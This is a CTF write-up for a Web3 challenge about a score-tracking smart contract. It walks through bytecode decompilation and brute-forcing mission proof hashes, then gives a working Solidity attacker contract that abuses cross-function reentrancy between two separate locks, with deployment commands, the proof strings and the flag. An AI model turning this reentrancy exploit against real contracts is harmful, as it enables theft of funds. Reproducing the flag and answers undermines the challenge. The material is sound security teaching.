# GANTZ_BALL_CONTRACT | Field | Value | |-------|-------| | Category | Web3 | | Difficulty | Insane | | Points | 500 | | Author | Eun0us | | CTF | Espilon 2026 | --- ## Description The Black Sphere runs a smart contract that tracks hunter scores. Kill aliens, earn points. Reach **100 points** and claim your freedom. But there's a catch: **no source code**. Only the deployed bytecode. - `nc espilon.net 1337` — Challenge console - `http://espilon.net:8545` — Anvil RPC endpoint Reverse the bytecode. Understand the scoring mechanism. Find the exploit. Claim your 100 points. Escape the game. *"Nobody said you had to play fair."* --- ## TL;DR Decompile the bytecode to recover the ABI. Find that the contract uses two separate reentrancy guards (`_stakeLock` and `_rewardLock`) instead of a single global lock. While inside `unstake()`, `_stakeLock=1` but `_rewardLock=0` — enabling cross-function reentrancy into `claimReward()`. Brute-force 4 mission proof preimages. Deploy an attacker contract that earns 110 points, stakes 100, then re-enters `claimReward()` from the `receive()` callback during `unstake()`. --- ## Tools | Tool | Purpose | |------|---------| | Dedaub / Heimdall / Panoramix | EVM bytecode decompilation | | Foundry (`forge`, `cast`) | Contract deployment and interaction | | Python 3 + `web3.py` | Storage slot computation for preimage brute-force | --- ## Solution ### Step 1 — Get the bytecode ```text nc 1337 bytecode ``` > 📸 `[screenshot: console showing the deployed bytecode hex]` ### Step 2 — Decompile Submit bytecode to Dedaub (app.dedaub.com) or run Heimdall: ```bash heimdall decompile ``` Recovered functions: | Function | Signature | |----------|-----------| | `register()` | Enroll as a hunter | | `claimKill(uint256, string)` | Earn points per mission | | `stakePoints(uint256)` payable | Stake points, deposit ETH (1 pt = 0.001 ETH) | | `unstake()` | Withdraw ETH, restore points | | `claimReward()` | Claim reward if `points + stakedPoints >= 100` | **Critical finding:** two separate guards `_stakeLock` (slot protecting `stakePoints`/`unstake`) and `_rewardLock` (protecting `claimReward`). During `unstake()`, `_stakeLock=1` but `_rewardLock=0` — the window for cross-function reentrancy. > 📸 `[screenshot: decompiler output showing two separate reentrancy guard variables]` ### Step 3 — Find the mission proof preimages From contract storage, extract 4 `keccak256` target hashes, then brute-force: ```python from web3 import Web3 targets = [...] # 4 keccak256 hashes from storage wordlist = ["onion_alien", "tanaka_alien", "buddha_alien", "boss_alien", "cat_alien", "dog_alien", "fish_alien"] for word in wordlist: h = Web3.keccak(text=word).hex() if h in targets: print(f"Found: {word}") ``` | Mission | Points | Proof | |---------|--------|-------| | 0 | 20 | `onion_alien` | | 1 | 25 | `tanaka_alien` | | 2 | 30 | `buddha_alien` | | 3 | 35 | `boss_alien` | ### Step 4 — Deploy the attacker contract ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IGantzBall { function register() external; function claimKill(uint256 missionId, string calldata proof) external; function stakePoints(uint256 amount) external payable; function unstake() external; function claimReward() external; } contract GantzExploit { IGantzBall public ball; bool private attacking; constructor(address _ball) payable { ball = IGantzBall(_ball); } function exploit() external { ball.register(); ball.claimKill(0, "onion_alien"); // +20 → 20 pts ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts ball.claimKill(2, "buddha_alien"); // +30 → 75 pts ball.claimKill(3, "boss_alien"); // +35 → 110 pts // Stake 100 points: points=10, stakedPoints=100 ball.stakePoints{value: 0.1 ether}(100); attacking = true; ball.unstake(); // In receive(): stakedPoints=100 not yet zeroed → claimReward passes (10+100=110>=100) } receive() external payable { if (attacking) { attacking = false; // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy succeeds ball.claimReward(); } } } ``` ```bash forge create GantzExploit \ --constructor-args \ --value 0.2ether \ --rpc-url http://:8545 \ --private-key cast send 'exploit()' \ --rpc-url http://:8545 \ --private-key ``` > 📸 `[screenshot: forge deploy and cast send commands completing successfully]` ### Step 5 — Get the flag ```text nc 1337 check ``` > 📸 `[screenshot: console printing the flag after successful reentrancy exploit]` ### Key concepts - **EVM bytecode reversal**: No source code — recover ABI and logic from raw opcodes - **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function boundaries — a classic vulnerability missed when developers use per-function guards instead of a global reentrancy lock - **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force against known hashes stored in contract storage - **Storage layout**: Dynamic array elements, mappings, and packed slots follow deterministic Solidity storage layout rules --- ## Flag `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`